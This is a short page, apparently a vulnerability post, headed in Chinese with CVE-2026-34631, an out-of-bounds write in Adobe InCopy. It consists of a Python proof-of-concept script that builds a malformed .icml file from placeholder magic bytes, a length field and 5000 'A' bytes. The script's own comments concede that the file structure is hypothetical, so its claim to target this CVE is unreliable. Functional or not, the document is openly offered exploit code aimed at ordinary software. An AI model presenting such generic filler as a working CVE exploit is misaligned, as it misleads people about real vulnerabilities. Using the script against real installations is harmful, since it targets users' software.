CVE-2026-34631 Adobe InCopy越界写入漏洞

import struct # Proof of Concept for CVE-2026-34631 # This script generates a malformed file potentially triggering an OOB write in Adobe InCopy. # Note: The exact file structure and offset need to be reverse-engineered for a real exploit. filename = "malicious_incopy_poc.icml" # Simulate a file header that might be parsed by InCopy header = b'\x06\x06\xed\xf5' # Example magic bytes # Construct a payload designed to trigger an overflow # Assuming a vulnerable field expects a small string but allows a large buffer overflow_size = 5000 malicious_payload = b'A' * overflow_size # Pack data into a hypothetical structure # This is a generic template; real exploitation requires knowing the specific file format vulnerability. # E.g., manipulating a length field to cause a loop-based overflow. length_field = struct.pack('<I', overflow_size) poc_file = header + length_field + malicious_payload with open(filename, 'wb') as f: f.write(poc_file) print(f"[*] PoC file generated: {filename}") print("[*] Open this file in a vulnerable version of Adobe InCopy to test for the crash.")